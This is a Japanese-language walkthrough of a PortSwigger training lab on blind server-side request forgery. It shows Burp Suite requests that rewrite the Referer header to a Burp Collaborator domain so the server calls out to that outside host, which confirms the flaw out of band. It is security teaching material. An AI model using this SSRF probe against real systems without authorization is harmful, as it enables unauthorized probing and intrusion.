Shikata Ga Nai

Private? There is no such things.

LAB: Blind SSRF with Out-of-Band Detection

Hello there, ('ω')ノ

このラボでは、Blind SSRF(ブラインドSSRF)を利用し、アプリケーションに外部サーバーへのリクエストを強制することが目的 です。
ただし、SSRFの結果(レスポンス)は攻撃者に表示されない ため、Burp Collaboratorを利用したOut-of-Band(OAST)攻撃 で脆弱性を検証します。


🔍 攻撃の流れ

  1. アプリケーションの動作を確認

    • Refererヘッダーに指定されたURLに対してバックエンドがリクエストを送信する 仕組みを利用する。
  2. Burp Collaboratorを利用して、外部サーバーへのリクエストを検出

    • Refererヘッダーを変更し、Burp Collaboratorのドメインを設定
    • アプリケーションがBurp Collaboratorにリクエストを送信するか確認

🔧 攻撃手順

① Burp Suiteでリクエストをキャプチャ

  1. 任意の製品ページを開く
  2. Burp Suiteを起動し、リクエストをインターセプト
  3. Refererヘッダーを確認

リクエストの例:

GET /product?productId=6 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Referer: https://YOUR-LAB-ID.web-security-academy.net/

Refererヘッダーが存在することを確認!


② RefererヘッダーをBurp Collaboratorのドメインに変更

  1. Burp Suiteの「Burp Collaborator」タブを開く
  2. 「Copy to clipboard」ボタンをクリックし、一意のBurp Collaboratorドメインを取得
    • 例: x6x7p6.burpcollaborator.net
  3. Burp Repeaterにリクエストを送信し、Refererヘッダーを変更
   GET /product?productId=6 HTTP/1.1
   Host: YOUR-LAB-ID.web-security-academy.net
   Referer: http://x6x7p6.burpcollaborator.net
  1. 「Send」ボタンをクリックしてリクエストを送信

アプリケーションがRefererのURLに対してリクエストを送信するか確認!


③ Burp Collaboratorでリクエストを確認

  1. Burp Suiteの「Burp Collaborator」タブを開く
  2. 「Poll now」ボタンをクリック
  3. アプリケーションがBurp Collaboratorのドメインにリクエストを送信したか確認
    • 成功すると、DNSまたはHTTPリクエストが記録される!
    • HTTPリクエストが観測されれば、Blind SSRFが成立!

リクエストが記録されれば、ラボクリア!🎉


🎯 まとめ

  1. 製品ページを開き、Refererヘッダーの挙動を確認
  2. Burp Collaboratorで一意のドメインを取得
  3. RefererヘッダーをBurp Collaboratorのドメインに変更し、リクエストを送信
  4. Burp Collaboratorでリクエストを確認
  5. リクエストが記録されれば、Blind SSRFの成功!🎉

Best regards, (^^ゞ